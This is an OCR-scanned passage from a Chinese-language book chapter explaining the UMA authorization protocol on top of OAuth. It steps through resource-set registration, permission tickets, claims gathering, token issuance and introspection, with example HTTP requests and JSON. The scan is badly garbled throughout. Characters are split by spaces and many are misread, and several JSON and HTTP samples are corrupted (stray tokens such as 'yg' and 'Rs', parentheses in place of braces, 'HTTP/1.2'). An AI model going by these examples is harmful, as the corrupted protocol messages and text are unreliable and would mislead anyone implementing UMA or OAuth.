构建 了 一 个 真正 以 用 户 为 中 心 的 信息 经 济 的 舞台 。 在 这 个 舞台 上 , 用 户 不 仅 有 权 决 定 哪些 服务 能 
代表 他 们 执行 任务 ， 还 能 决定 哪些 第 三 方 〈 比 如 用 户 和 软件 ) 能 访问 他 们 的 数据 。 

UMA 还 定义 了 一 种 方法 ,让 资源 服务 器 可 以 在 授权 服务 器 上 注册 它 所 保护 资源 的 引用 。 这 种 
引用 叫 作 资源 集 ， 代 表 的 是 可 以 与 策略 关联 并 被 客户 端 访问 的 一 组 资源 。 例 如 ，Alice 的 照片 服务 
可 以 注册 一 个 假期 照片 资源 集 , 以 及 一 个 私密 照片 资源 集 ,还 可 以 为 整个 账户 信息 注册 一 个 资源 集 。 
这 些 资源 集 都 能 够 拥有 独立 的 策略 ， 使 得 Alice 可 以 决定 谁 能 访问 信息 ， 能 访问 哪些 信息 。 资 源 集 
注册 协议 与 第 12 章 介 绍 的 动态 客户 端 注 册 协议 大 体 上 是 类 似 的 。 有 趣 的 是 ， 从 动态 客户 端 注册 中 
可 以 看 到 UMA 的 影子 ， 只 是 UMA 在 运行 时 向 授权 服务 器 引入 新 客户 端的 问题 上 更 直接 一 些 。 

OAuth 让 最 终 用 户 在 生态 系统 内 部 进行 运行 时 决策 ， 突 破 了 可 接受 的 安全 策略 的 界限 ， 而 
UMA 突破 的 则 是 生态 系统 初始 的 内 部 界限 。 策 略 的 限制 总 是 落后 于 技术 的 发 展 ,但 是 UMA 的 
能 力 已 证 明 其 具有 巨大 的 优势 ， 并 且 开 始 推动 这 样 的 讨论 : 安全 方法 存在 怎样 的 可 能 性 。 
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来 看 看 一 个 具体 的 UMA 协议 的 事务 从 头 到 尾 是 怎样 的 。 你 在 第 6 章 已 经 看 到 ，OAuth 是 一 
个 具有 许多 选项 和 扩展 的 协议 。 作 为 构建 在 OAuth 之 上 的 协议 ，UMA 继承 了 这 些 选 项 ， 并 且 在 
此 基础 上 做 了 自己 的 扩展 。 要 详细 介绍 它们 ,至 少 需要 好 几 章 甚至 整 本 书 的 篇 幅 。 虽 然 我 们 无 法 
深入 探索 这 个 复杂 的 协议 , 但 至 少 可 以 进行 适当 的 概述 。 此 示例 设想 的 场景 是 完全 冷 启动 的 ， 所 
有 的 服务 事先 不 知道 彼此 , 都 需要 被 引入 。 我 们 会 使 用 服务 发 现 和 客户 端 动 态 注册 来 相互 引入 组 
件 ， 而 不 会 使 用 手动 注册 。UMA 使 用 的 是 传统 的 OAuth 令 牌 ， 所 以 我 们 使 用 第 2 章 深 入 讨论 过 
的 授权 码 许可 流程 。 为 便于 解释 和 理解 ,我 们 会 简化 某 些 流程 ,还 会 省 去 一 些 细节 并 回避 协议 中 
不 够 明确 的 部 分 。 最 后 ,虽然 UMA 1.0 版 本 已 经 完成 ， 但 社区 依然 在 积极 地 推进 开发 ， 所 以 此 
处 的 许多 具体 示例 ( 以 及 一 些 体系 结构 假设 ) 可 能 不 适用 于 协议 的 未 来 版 本 。 在 这 些 假设 之 下 ， 
整个 UMA 流程 如 图 14-2 所 示 。 
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受 保护 资源 授权 服务 器 请 求 方 
将 资源 指向 授权 服务 器 
Ci -— um um 
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下 面 更 详细 地 介绍 图 14-2 中 的 每 一 个 主要 步 又， 段落 前 的 编号 与 时 序 图 中 的 编号 是 一 一 对 
应 的 。 

(1) 资源 拥有 者 向 授权 服务 器 引入 资源 服务 器 。UMA 协议 并 未 定义 引入 的 方法 , 但 是 对 该 环 
节 做 了 一 些 规 定 。 在 一 个 融合 的 UMA 生态 系统 中 ,资源 拥有 者 应 该 能 从 一 个 列表 中 选择 授权 服 
务 器 。 在 更 广阔 的 分 布 式 环境 C 比如 互联 网 ) 中 ,资源 拥有 者 可 以 向 受 保护 资源 提供 他 们 的 
WebFinger ID ， 以 便 受 保护 资源 能 够 发 现 他 们 的 个 人 授权 服务 器 ， 就 像 第 13 章 发 现 身 份 服务 器 
一 样 。 总 之 ， 资 源 服 务 器 最 终 会 获得 授权 服务 器 的 URL. ( 也 称 为 颁发 者 URL )。 

(2) 资源 服务 器 发 现 授权 服务 器 的 配置 信息 ， 并 将 自身 注册 为 OAuth 客户 端 。 与 第 13 章 介 
绍 的 OpenID Connect 一 样 ，UMA 提供 了 一 个 服务 发 现 协议 ， 可 以 让 系统 中 的 其 他 组 件 发 现 有 关 
授权 服务 器 的 重要 信息 。 发 现 信 息 位 于 授权 服务 器 的 一 个 URL E, 它 的 形式 为 颁发 者 URL 后 接 
/well-known/uma-configuration， 信 息 内 容 是 一 个 JSON 文档 ， 包 括 UMA 授权 服务 器 的 信息 。 


{ 
"version":"1.0", 
"issuer":"https://example.com", 

































































"pat profiles supported":["bearer"], 
"aat profiles supported":["bearer"], 
"rpt profiles supported": ["https://docs.kantarainitiative.org/uma/profiles/ 
uma-token-bearer-1.0"], 
"pat grant types supported":["authorization code"], 
"aat grant types supported":["authorization code"], 
"claim token profiles supported":["https://example.com/claims/formats/token1"], 


"dynamic. client, endpoint":"https://as.example.com/dyn client reg uri", 
"token, endpoint":"https://as.example.com/token uri", 
"authorization, endpoint":"https://as.example.com/authz uri", 


"requesting party claims endpoint":"https://as.example.com/rqp claims uri" S, 


"resource set registration endpoint":"https://as.example.com/rs/rsrc uri", 
"introspection, endpoint":"https://as.example.com/rs/statusg uri", 
"permission registration endpoint":"https://as.example.com/rs/perm uri", 
"rpt endpoint":"https://as.example.com/client/rpt uri" 


} 

该 信息 包含 与 OAuth 事务 有 关 的 授权 端点 和 令 牌 端点 ， 还 有 一 些 会 在 稍 后 的 设置 环节 用 到 
的 UMA 专用 信息 ， 比 如 注册 资源 集 的 端点 。 需 要 注意 的 是 ， 与 OAuth 和 OpenID Connect 一 样 ， 
UMA 要 求 使 用 TLS 保护 协议 中 的 所 有 HTTP 事务 。 

然后 ， 资 源 服 务 器 可 以 使 用 动态 客户 端 注 册 ( 在 第 12 章 有 详细 介绍 ) 将 自身 注册 为 OAuth 
客户 端 ， 或 者 使 用 某 种 独立 静态 流程 进行 注册 。 本 质 上 ， 该 客户 端 与 其 他 OAuth 客户 端 没有 区 
别 ， 该 步骤 中 唯一 UMA 特有 的 要 求 就 是 资源 服务 器 要 能 够 获取 带 有 uma protection 特殊 权 
限 范 围 的 令 牌 。 该 令 牌 用 于 在 后 续 步 又 中 访问 授权 服务 器 的 特殊 功能 。 

(3) 资源 拥有 者 对 资源 服务 器 授权 。 由 于 资源 服务 器 以 OAuth 客户 端的 身份 执行 操作 ， 因 此 
它 需 要 同 其 他 O Auth 客户 端 一 样 获 得 资源 拥有 者 的 授权 。 与 常规 的 OAuth 流程 一 样 ， 资源 服务 器 
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要 获取 具有 适当 权限 的 访问 令 牌 ， 可 以 采用 的 方法 有 许多 ， 但 因为 该 操作 直接 代表 资源 拥有 者 ， 
所 以 通常 会 使 用 交互 式 OAuth 许可 类 型 ， 比 如 授权 码 许可 流程 。 

资源 服务 需 在 此 过 程 中 得 到 的 访问 令 牌 叫 作 保护 API 令 牌 (protection API token )， 简 称 PAT. 
PAT 至 少 需要 具有 uma protection 权限 范围 ， 但 同时 也 可 以 关联 其 他 权限 范围 。 资 源 服务 器 
使 用 PAT 管理 受 保护 资源 、 请 求 权限 票 券 ( permission ticket ) 和 内 省 令 牌 。 这 些 操作 统称 为 保护 
API ( protection API )， 都 由 授权 服务 器 提供 。 

认识 到 这 一 点 很 重要 ， 此 时 的 受 保护 资源 充当 着 OAuth 客户 端 ， 授 权 服 务 器 则 通过 它 的 保 
护 API 充当 着 受 保护 资源 。 这 有 点 令 人 迷惑 ,但 请 注意 ， 这 不 无 道理 。OAuth 生态 系统 的 每 一 个 
组 件 都 是 一 个 角色 ,可 以 在 不 同 的 时 间 由 不 同 的 软件 来 扮演 。 比 如 ,同一 个 软件 可 以 既 充 当 客 户 
端 ， 又 充当 受 保护 资源 ， 具 体 取决 于 其 API 所 要 完成 的 任务 。 

(4) 资源 服务 器 向 授权 服务 器 注册 其 资源 集 。 现 在 ,授权 服务 器 需要 知道 资源 的 相关 信息 ， 这 
些 资源 是 由 资源 服务 器 代表 资源 拥有 者 保护 的 。 资 源 服务 器 注册 资源 集 所 使 用 的 协议 与 动态 客户 端 
注册 协议 类 似 。 资 源 服务 器 向 资源 集注 册 URI A3 —^ f HTTP POST 请求， 请 求 的 Authorization 
头 部 为 PAT， 请 求 内 容 为 其 想 要 保护 的 各 个 资源 集 的 详情 。 

POST /rs/resource set HTTP/1.1 


Content-Type: application/json 
Authorization: Bearer MHg3OUZEQkZBMjcx 










































































( 


"name" : "Tweedl Social Service", 
"icon uri" : "http://www.example.com/icons/sharesocial.png", 
"scopes" : [ 


"read-public", 

"post-updates", 

"read-private", 

"http://www.example.com/scopes/all" 
Jg 
"type" : "http://www.example.com/rsets/socialstream/140-compatible" 


} 

资源 集 详情 包含 如 下 信息 : 显示 名 称 、 图 标 以 及 最 重要 的 一 一 与 资源 集 相 关联 的 OAuth 权限 
范围 。 授 权 服 务 器 会 为 资源 集 分 配 唯 一 标识 符 ， 并 将 其 与 一 个 URL 一 同 返回 给 资源 服务 器 。 资 
源 服 务 器 可 以 将 资源 拥有 者 引导 至 该 URL， 资 源 拥有 者 就 可 以 交互 式 地 管理 与 该 资源 集 关 联 的 
策略 了 。 

HTTP/1.1 201 Created 


Content-Type: application/json 
Location: /rs/resource set/12345 

















{ 
"yg : "12345", 
"user access policy uri" : "http://as.example.com/rs/222/resource/333/policy" 


} 
其 中 的 Location 头 部 包含 一 个 URL， 用 于 通过 RESTful API 模 式 管 理 该 资源 集注 册 本 身 。 
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与 使 用 POST 方法 一 样 ， 资 源 服务 器 还 可 以 使 用 HTTP GET, PUT 和 DELETE 方 法， 分别 读 取 、 
更 新 和 删除 其 资源 。 

(5) 资源 拥有 者 在 授权 服务 器 上 设置 资源 集 对 应 的 策略 。 此 时 资源 集 已 经 注册 ， 但 是 还 没有 
规定 该 如 何 访问 它们 。 在 任何 客户 端 能 够 请 求 访问 受 保护 资源 之 前 ,需要 资源 拥有 者 先 为 这 些 资 
源 设置 策略 ， 指 明 谁 能 访问 资源 ， 在 什么 条 件 下 访问 。UMA 并 没有 定义 策略 本 身 的 规则 ， 因 为 
写 和 配置 策略 引擎 的 方式 几乎 是 无 限 多 的 。 常 用 的 策略 内 容 可 能 会 包含 日 期 范围 .用户 标识 符 ， 
或 者 资源 可 被 访问 的 次 数 限制 。 

每 个 策略 都 可 以 与 各 个 资源 集 上 可 用 的 权限 范围 子 集 相 关联 , 从 而 让 资源 拥有 者 能 够 灵活 地 
表达 他 们 的 分 享 意图 。 比 如 , 资源 拥有 者 可 以 让 所 有 邮箱 地 址 位 于 其 家 庭 域名 下 的 用 户 读 取 所 有 
照片 ， 但 是 只 允许 某 几 个 指定 的 用 户 上 传 新 照片 。 

最 后 ， 请 求 方 和 他 们 的 客户 端 要 出 示 一 组 能 够 满足 策略 要 求 的 声明 。 还 有 一 点 很 重要 : 如 果 
没有 为 一 个 资源 集 配置 策略 , 则 该 资源 集 应 被 视 为 不 可 访问 。 这 种 限制 可 以 防止 授权 服务 器 天 真 
地 放 开 权限 ， 无 意 间 让 任何 人 都 能 访问 资源 。 毕 竞 ， 如 果 我 有 一 个 未 设置 任何 声明 要 求 的 资源 ， 
不 就 意味 着 我 可 以 不 出 示 任 何 声明 而 满足 所 有 策略 并 获得 访问 令 牌 吗 ? 〈 是 的 , 这 是 一 个 实 实在 
在 的 bug。 得 了 ， 还 是 不 要 说 它 了 吧 。 ) 

一 旦 设置 完 策略 ， 资 源 拥有 者 通常 就 可 以 退场 了 ， 接 下 来 该 由 请 求 方 来 继续 UMA 流程 的 后 
半 部 分 。 授权 服务 器 也 可 以 有 一 个 高 级 的 运行 时 策略 引擎 , 当 其 他 人 ( 请 求 方 ) 尝试 访问 资源 时 ， 
用 于 提示 资源 拥有 者 授权 。 不 过 ， 我 们 不 打算 在 此 展示 这 一 机 制 。 

(6) 请 求 方 指引 客户 端 访问 资源 服务 器 。 这 一 步 与 常规 的 OAuth 事务 中 资源 拥有 者 差遣 其 客 
户 端 代表 他 访问 资源 是 类 似 的 。 与 OAuth 一 样 ， 客 户 端 如 何 知晓 受 保护 资源 的 URL 或 者 访问 受 
保护 API 所 需 的 信息 ， 是 未 在 规范 中 说 明 的。 然而 ， 与 OAuth 不 同 的 是 ， 请 求 方 指示 客户 端 应 
用 去 访问 的 资源 是 由 其 他 人 控制 的 ， 而 且 客户 端 可 能 并 不 知道 对 应 的 授权 服务 器 在 哪里 。 

(7) 客户 端 请 求 受 保护 资源 。 客 户 端 在 没有 足够 授权 的 情况 下 向 资源 服务 需 发 起 请 求 。 也 就 
是 说 ， 这 是 一 个 不 附带 访问 令 牌 的 请 求 。 

GET /album/photo.jpg HTTP/1.1 
Host: photoz.example.com 


第 4 章 讨论 多 权限 范围 模式 时 ， 我 们 看 到 ，OAnuth 可 用 于 保护 多 种 不 同 风格 的 API， 因 为 访 
问 令 牌 为 请 求 提供 了 额外 的 上 下 文 ， 比 如 资源 拥有 者 的 标识 符 或 者 与 其 相关 联 的 权限 范围 。 这 使 
得 受 保护 资源 可 以 根据 与 访问 令 牌 相关 联 的 信息 来 返回 不 同 的 结果 ， 比 如 可 以 通过 同一 个 URL 
提供 不 同 的 用 户 信息 , 或 者 , 根据 与 令 牌 相关 联 的 权限 范围 或 授权 颁发 该 令 牌 的 用 户 来 返回 不 同 
的 信息 子 集 。 在 OpenID Connect H, OAuth 的 这 一 特性 让 UserInfo 端点 可 以 通过 同一 个 URL 来 
提供 服务 器 上 的 所 有 身份 信息 , 而 不 需要 提前 向 客户 端 泄露 用 户 标识 符 , 如 第 13 章 所 述 。 在 UMA 
中 ， 资 源 服务 器 需要 能 够 从 这 个 初始 HTTP 请 求 上 下 文中 知道 客户 端 尝试 访问 的 是 哪个 资源 集 ， 
进而 知道 对 应 的 资源 拥有 者 以 及 授权 服务 器 是 哪个 。 我 们 无 法 借助 访问 令 牌 来 做 出 这 一 判断 ， 所 
以 只 能 从 URL 、 头 部 或 者 HTTP 请 求 的 其 他 部 件 中 寻找 信息 。 这 一 约束 实际 上 限制 了 UMA 所 能 
保护 的 API 类 型 : 基于 URL 和 其 他 HTTP 信息 来 区 分 资源 的 API 
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(8) 资源 服务 器 向 授权 服务 器 请 求 权限 票 券 ， 该 票 卷 表示 请 求 到 的 访问 权限 ， 并 将 它 传递 给 
客户 端 。 一 旦 资源 服务 器 知道 请 求 想 要 访问 的 是 哪个 资源 集 , 进而 知道 对 应 于 该 资源 集 的 是 哪个 
授权 服务 器 ， 资 源 服务 器 就 会 向 授权 服务 器 的 权限 票 券 注 册 端 点 发 送 一 个 HTTP POST 消息 ， 获 
取 一 个 代表 访问 请 求 的 权限 票 券 。 该 请 求 包含 资源 集 的 标识 符 , 以 及 资源 服务 器 认可 的 一 组 权限 
范围 , 并 且 需 要 使 用 PAT 授权 。 请求 中 的 权限 范围 可 以 是 资源 集 上 可 用 权限 范围 的 子 集 ， 以 便 资 
源 服 务 器 适当 地 对 客户 端的 访问 加 以 限制 。 当 然 ,， 客户 端 最 终 能 够 执行 的 操作 可 能 比 最 初 请 求 的 
权限 范围 多 ， 但 是 资源 服务 器 无 法 事先 猜测 。 

POST /tickets HTTP/1.1 

Content-Type: application/json 


Host: as.example.com 
Authorization: Bearer 204c69636b6c69 












































{ 

"resource set id": "112210f47de98100", 

"Scopes": [ 
"http://photoz.example.com/dev/actions/view", 
"http://photoz.example.com/dev/actions/all" 

] 

} 


授权 服务 器 会 确认 PAT 所 代表 的 资源 服务 器 与 最 开始 注册 资源 集 的 是 同一 个 ,并 且 请 求 的 权 
限 范围 在 该 资源 集 上 都 是 可 用 的 。 然 后 ， 授 权 服 务 器 会 生成 并 颁发 一 个 权限 票 券 ， 通 过 简单 的 
JSON 对 象 以 字符 串 形 式 返 回 给 资源 服务 器 。 


HTTP/1.1 201 Created 
Content-Type: application/json 














( 
"ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de" 
} 


资源 服务 器 不 必 保 留 或 管理 这 些 票 券 ， 因 为 它们 是 客户 端 与 授权 服务 器 在 整个 UMA 过 程 中 
进行 交互 所 需 的 句柄 。 授 权 服 务 器 会 让 它们 自动 失效 并 根据 需要 将 它们 撤回 。 

(9) 资源 服务 器 将 权限 票 券 与 授权 服务 器 的 地 址 一 同 返 回 给 客户 端 。 得 到 票 券 之 后 ， 资 源 服 
务 器 就 可 以 最 终 响应 客户 端的 请 求 。 资 源 服务 器 会 使 用 一 个 特殊 的 头 部 www-Authenticate: 
UMA 向 客户 端 传递 票 券 以 及 保护 该 资源 的 授权 服务 器 的 颁发 者 URL。 

HTTP/1.1 401 Unauthorized 

WWW-Authenticate: UMA realm-"example", 


as uri-"https://as.example.com", 
ticket-"016f84e8-f9b9-11e0-bd6f-0021cc6004de" 


该 响应 中 唯一 由 UMA 协议 规定 的 内 容 就 是 头 部 ， 响 应 中 的 其 他 部 分 (包括 状态 码 、 主 体 以 
及 其 他 头 部 ) 都 取决 于 受 保 护 资源 。 通 过 这 种 方式 ,资源 服务 器 除了 能 够 指示 客户 端 如 何 获取 更 
高 级 别 的 访问 权限 , 还 能 自由 地 提供 其 他 可 用 的 公开 信息 。 如 果 客 户 端 在 最 初 请 求 中 出 示 了 访问 
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令 牌 , 但 该 令 牌 只 有 资源 的 部 分 可 用 访问 权限 , 则 资源 服务 器 可 以 提供 与 令 牌 对 应 的 访问 级 别 的 
内 容 ， 同 时 提示 客户 端 可 以 尝试 提升 访问 权限 。 在 示例 中 ,客户 端 没 有 发 送 令 牌 ，API 也 没有 可 
用 的 公开 信息 ， 所 以 服务 器 返回 的 是 带 有 头 部 的 HTTP 401 错误 码 。 

(10) 客户 端 发 现 授权 服务 器 配置 ， 并 向 它 注册 。 与 资源 服务 器 一 样 ， 客 户 端 也 需要 知道 授权 
服务 器 位 于 何 处 ， 以 及 如 何在 后 续 步 又 中 与 之 交互 。 由 于 此 处 的 过 程 是 一 样 的 , “因此 不 复述 其 
细节 。 该 过 程 结束 时 ， 客 户 端 会 得 到 一 组 用 于 与 授权 服务 器 交互 的 赁 据 ， 这 些 和 凭据 与 受 保护 资源 
所 使 用 的 不 同 。 















































有 必要 用 一 个 令 牌 去 获取 另 一 个 令 牌 吗 ? 

在 1.0 版 本 的 UMA F, 客户 端 还 需要 获取 一 个 叫 作 授权 访问 令 牌 ( authorization access 
token, AAT) 的 OAuth 访问 令 牌 。 该 令 牌 的 意图 是 将 请 求 方 绑 定 到 客户 端 和 授权 服务 器 ， 这 
与 PAT 在 系统 另 一 端的 功能 非常 相似 。 但是， 由 于 RqP 可 以 在 后 续 步 又 中 交互 式 地 出 示 声 明 ， 
因此 这 种 绑 定 并 不 完全 必要 。 此 外 ,为 了 授权 AAT, RaP 需要 能 够 登录 到 授权 服务 器 ， 并 为 
客户 端 颁发 具有 特殊 权限 范围 uma authorization 的 令 牌 。 但 是 ， 并 不 能 保证 RqP 与 授权 
服务 器 有 任何 关系 ， 一 定 与 授权 服务 器 有 关系 的 只 有 资源 拥有 者 ， 因 此 不 能 期 望 RqP 能 够 执 
行 常规 的 OAuth 事务 。 由 于 种 种 原因 ，UMA 协议 可 能 会 在 未 来 的 版 本 中 取消 AAT, 使 用 其 他 
机 制 来 表示 和 传输 RqP 在 事务 过 程 中 的 许可 。 我们 也 在 讨论 中 将 它 的 重要 性 降 到 最 低 。 





(11) 客户 端 向 授权 服务 器 出 示 票 券 ， 换 取 访 问 令 牌 。 这 一 过 程 与 授权 码 许 可 类 型 中 客户 端 出 
示 授 权 码 的 过 程 很 相似 , 只 是 使 用 从 资源 服务 器 获取 的 票 券 作为 临时 受 限 的 凭据 。 客 户 端 向 授权 
服务 器 发 送 一 个 包含 票 券 参数 的 HTTP POST 消息 。 

POST /rpt uri HTTP/1.1 


Host: as.example.com 
Authorization: Bearer jwfLG53^sad$#f 




















{ 


"ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de" 
} 








授权 服务 器 会 检查 票 券 ， 找 出 与 请 求 对 应 的 资源 集 。 找 到 后 ,授权 服务 器 就 可 以 确定 与 之 对 
应 的 策略 ， 进 而 确定 客户 端 需要 出 示 哪 些 声明 才能 获得 令 牌 。 由 于 示例 中 的 票 券 刚 被 创建 ， 因 此 
授权 服务 絮 判 断 的 结果 是 : 没有 足够 的 与 之 对 应 的 声明 , 不 满足 策略 要 求 。 授 权 服 务 噩 向 客户 端 
返回 错误 响应 ， 提 示 客 户 端 需要 搜集 一 些 声明 , 向 授权 服务 顺 订 
问 权限 。 


HTTP/1.1 403 Forbidden 
Content-Type: application/json 
Cache-Control: no-store 





























E 明 请 求 方 和 客户 端 本 身 都 具有 访 cum 








(D 与 第 2 步 一 样 。 一 一 译 者 注 
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( 


"error": "need info", 


"error details": ( 
"authentication context": ( 
"required acr": ["https://example.com/acrs/LOA3.14159"] 


Rs 
"requesting party claims": ( 
"required claims": [ 


( 
"name": "email23423453ou453", 


"friendly name": "email", 

"claim type": "urn:oid:0.9.2342.19200300.100.1.3", 

"Claim token format": 
["http://openid.net/specs/openid-connect-core-1 0.htmls&HybridIDToken"] 


"issuer": ["https://example.com/idp"] 


j 
l, 


"redirect_user": true, 
"ticket": "016£84e8-f9b9-11e0-bd6f-0021cc6004de" 


j 
j 
} 
此 示例 响应 中 包含 一 些 提示 : 客户 端 应 该 提供 的 声明 类 型 以 及 从 何 处 搜集 它们 。 本 例 采 用 的 
是 需要 从 给 定 的 OpenID Connect 颁发 者 获取 的 OpenID Connect 声明 。 
(12) 客户 端 搜集 声明 ， 并 提交 至 授权 服务 器 。 在 这 个 阶段 ,客户 端 可 以 使 用 多 种 方法 来 获得 授 
权 服 务 器 所 要 求 的 声明 。UMA 协议 有 意 地 省 略 了 声明 搜集 过 程 的 细节 , 以 便 适应 各 种 各 样 的 场景 。 
如 果 客 户 端 已 经 拥有 声明 , 并 且 是 能 够 被 授权 服务 器 验证 的 格式 , 那么 它 可 以 通过 另 一 个 请 
求 直 接 将 它们 发 送出 去 ， 以 获取 令 牌 。 
POST /rpt authorization HTTP/1.1 


Host: www.example.com 
Authorization: Bearer jwfLG53^sad$#f 









































( 
"rpt": "sbjsbhs(/SSJHBSUSSJHVhjsgvhsgvshgsv", 


"ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de", 
"Claim tokens": [ 


{ 
"format": 
"http://openid.net/specs/openid-connect-core-1 0.html 


dHybridIDToken", 
"token" 1 " " 


) 
当 客 户 端 出 示 的 声明 是 关于 自己 或 者 部 署 该 客户 端 软件 的 组 织 时 , 这 种 方法 很 有 效 。 权 威 方 


可 以 对 这 些 类 型 的 声明 签名 ,以 便 授 权 服 务 器 可 以 直接 检查 并 验证 它们 。 但 如 果 客 户 端 需要 提交 
的 信息 是 关于 请 求 方 的 ,此 方法 可 能 不 那么 奏效 。 即 使 客户 端 和 授权 服务 顺 之 间 有 可 能 存在 牢固 
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的 信任 关系 ， 请 求 方 和 客户 端 之 间 的 关系 仍 是 未 定义 的 。 

如 果 客 户 端 需要 证 请求 方 提交 声明 C 比如 其 身份 )， 那 么 客户 端 会 将 请 求 方 重 定 向 至 授权 服 
务 器 的 声明 搜集 端点 。 客 户 端 会 在 请 求 中 包含 其 自身 的 客户 端 ID 、 票 券 值 以 及 完成 搜集 之 后 要 
跳 转 的 重 定向 URI。 

HTTP/1.2 302 Found 

Location: https://as.example.com/rqp claims?client id-some client id&state-abc& 


claims redirect uri-https$3A22F22Fclient2Eexample$2Ecom$2Fredirect claims&ticket- 
016£84e8-f£9b9-11e0-bd6f-0021cc60048e 























在 此 端点 上 ， 请 求 方 可 以 直接 与 授权 服务 器 交互 ， 向 其 提供 所 需 的 声明 。UMA 规范 同样 未 
对 这 一 过 程 进 行 阅 明 ， 但 是 在 本 示例 中 ， 请 求 方 会 使 用 自己 的 OpenID Connect 账户 登录 授权 服 
务 器 。 此 时 的 UMA 授权 服务 器 扮演 的 是 OpenID Connect 依赖 方 , " 它 会 去 访问 请 求 方 的 身份 信 
息 ， 该 信息 可 用 于 满足 策略 要 求 。 

当 声明 搜集 过 程 满足 授权 服务 器 的 要 求 之 后 , 授权 服务 器 会 将 请 求 方 重 定向 回 到 客户 端 , 通 
知客 户 端 继续 流程 。 

HTTP/1.1 302 Found 


Location: https://client.example.com/redirect claims?&state-abc 
&authorization state-claims submitted 


此 过 程 使 用 客户 端 与 授权 服务 器 之 间 的 前 端 信道 通信 ,与 第 2 章 讨 论 的 常规 OAuth 中 的 授权 
端点 一 样 。 但 是 ， 此 处 使 用 的 重 定向 URI 与 授权 码 或 隐 式 授权 许可 中 使 用 的 不 同 。 

无 论 使 用 哪 种 流程 来 提交 声明 , 授权 服务 器 都 会 将 声明 与 票 券 关联 起 来 。 客 户 端 仍然 需要 再 
次 提交 票 券 才能 得 到 令 牌 。 

(13) 客户 端 再 次 出 示 票 券 并 尝试 获取 令 牌 。 这 一 次 它 会 成 功 得 到 令 牌 ， 因 为 票 券 现 在 已 经 关 
联 了 一 组 可 以 满足 资源 集 上 的 策略 的 声明 。 这 些 策略 还 对 应 一 个 权限 范围 子 集 , LEBEBUI AS d n] 
以 决定 令 牌 的 最 终 访问 权限 。 授 权 服 务 融通 过 一 个 JSON 文档 向 客户 端 返回 令 牌 ,类似 于 OAuth 
令 牌 端点 的 返回 。 


HTTP/1.1 200 OK 
Content-Type: application/json 


















































{ 
"rpt": "sbjsbhs(/SSJHBSUSSJHVhjsgvhsgvshgsv" 
} 


终于 ， 客 户 端 得 到 了 访问 令 牌 ， 可 以 再 次 尝试 获取 资源 。 与 OAuth 一 样 ， 令 牌 本 身 的 内 容 
和 格式 对 客户 端 是 不 透明 的 。 

(14) 客户 端 向 资源 服务 器 出 示 访 问 令 牌 。 客 户 端 再 一 次 向 受 保护 资源 发 起 请 求 ， 不 过 这 一 次 
的 请 求 包含 刚刚 从 授权 服务 器 获取 的 令 牌 。 








(D 这 意味 着 为 了 实现 这 一 复杂 的 流程 ，UMA 授权 服务 器 此 时 正 扮演 着 OAuth 授权 服务 器 、 受 保护 资源 和 客户 端 3 
个 角色 。 
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GET /album/photo.jpg HTTP/1.1 
Host: photoz.example.com 
Authorization: Bearer sbjsbhs(/SSJHBSUSSJHVhjsgvhsgvshgsv 


该 请 求 是 一 个 完全 标准 的 OAuth bearer 令 牌 请 求 ， 并 不 包含 任何 UMA 特性 。 客 户 端 经 过 了 
诸多 特殊 的 步 又 才 到 达 这 一 步 ， 现 在 它 可 以 表现 得 和 其 他 OAuth 客户 端 一 样 了 。 

(15) 受 保护 资源 判断 令 牌 是 否 有 效 。 受 保护 资源 现在 已 经 从 客户 端 处 收 到 了 令 牌 , 它 需 要 确 
定 该 令 牌 适合 客户 端 所 要 执行 的 操作 。 但 是 ， 由 于 UMA 协议 设计 上 的 原因 ， 资 源 服务 器 和 授权 
服务 器 是 分 离 的 ， 因 此 不 可 能 利用 本 地 查找 获取 令 牌 信息 。 

幸运 的 是 ， 我 们 已 经 在 第 11 章 介 绍 了 两 种 最 常用 的 用 于 连接 受 保护 资源 和 授权 服务 器 的 方 
ik: JWT 和 令 牌 内 省 。 由 于 UMA 是 一 个 基于 网 络 的 协议 ,授权 服务 器 在 运行 时 可 能 需要 在 线 响 
应 网 络 请 求 ， 多 数 情况 下 会 在 这 一 步 使 用 令 牌 内 省 ,因此 在 此 探讨 的 也 是 这 种 方法 。 与 之 前 介绍 
的 一 样 , 资源 服务 器 发 出 令 牌 内 省 请 求 , 只 是 它 没有 使 用 客户 端 任 据 , 而 是 使 用 PAT 对 请 求 授 权 。 
授权 服务 器 返回 的 响应 稍 有 不 同 ， 因 为 UMA 扩展 了 内 和 省 啊 应 的 数据 结构 ,增加 了 包含 权限 的 详 
细 信 息 的 permissions 对 象 。 


HTTP/1.1 200 OK 
Content-Type: application/json 
Cache-Control: no-store 


















































( 
"active": true, 
"exp": 1256953732, 
"iat": 1256912345, 
"permissions": [ 
{ 
"resource set id": "112210f47de98100", 
"scopes": [ 
"http://photoz.example.com/dev/actions/view", 
"http://photoz.example.com/dev/actions/all" 
Ja 
"exp" : 1256953732 
j 
] 
j 


令 牌 本 身 可 能 会 适用 于 多 个 资源 集 和 多 个 权限 集合 , 具体 取决 于 授权 服务 器 上 策略 引擎 的 设 
置 。 和 OAuth 一 样 ， 令 牌 是 否 符合 要 求 完全 由 资源 服务 器 判决 。 如 果 令 牌 对 应 的 权限 不 满足 当 
前 的 请 求 ,资源 服务 器 可 以 重复 注册 权限 票 券 并 将 其 返回 给 客户 端 ,让 客户 端 重 新 发 起 请 求 流程 。 
与 之 前 一 样 ， 客 户 端 收 到 错误 消息 后 会 去 请 求 一 个 新 的 令 牌 。 

(16) 最 后 ， 客 户 端 得 到 返回 的 资源 。 和 OAuth 一样, 一 旦 传人 的 令 牌 满足 要 求 ， 受 保护 资源 
就 会 返回 适当 的 响应 。 


HTTP/1.1 200 OK 
Content-Type: application/json 
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"f number": "f/5.6", 
"exposure": "1/320", 
"focal length mm": 150, 
"iso": 400, 


"flash": false 
} 


该 响应 可 以 是 任何 HTTP 响应 ， 它 还 可 以 包含 男 一 个 www-aAuthenticate: UMA 头 部 ， 表 
示 客 户 端 可 以 尝试 获取 额外 的 访问 权限 。 

在 整个 过 程 中 , 资源 拥有 者 的 凭据 和 请 求 方 的 凭据 都 没有 被 透露 给 资源 服务 器 或 客户 端 。 男 
外 ,这 两 方 也 没有 相互 透露 敏感 的 个 人 信息 。 请 求 方 只 需要 最 小 限度 地 提供 证 明 信 息 , 满足 资源 
拥有 者 设置 的 策略 即 可 。 


























14.2 HEART 


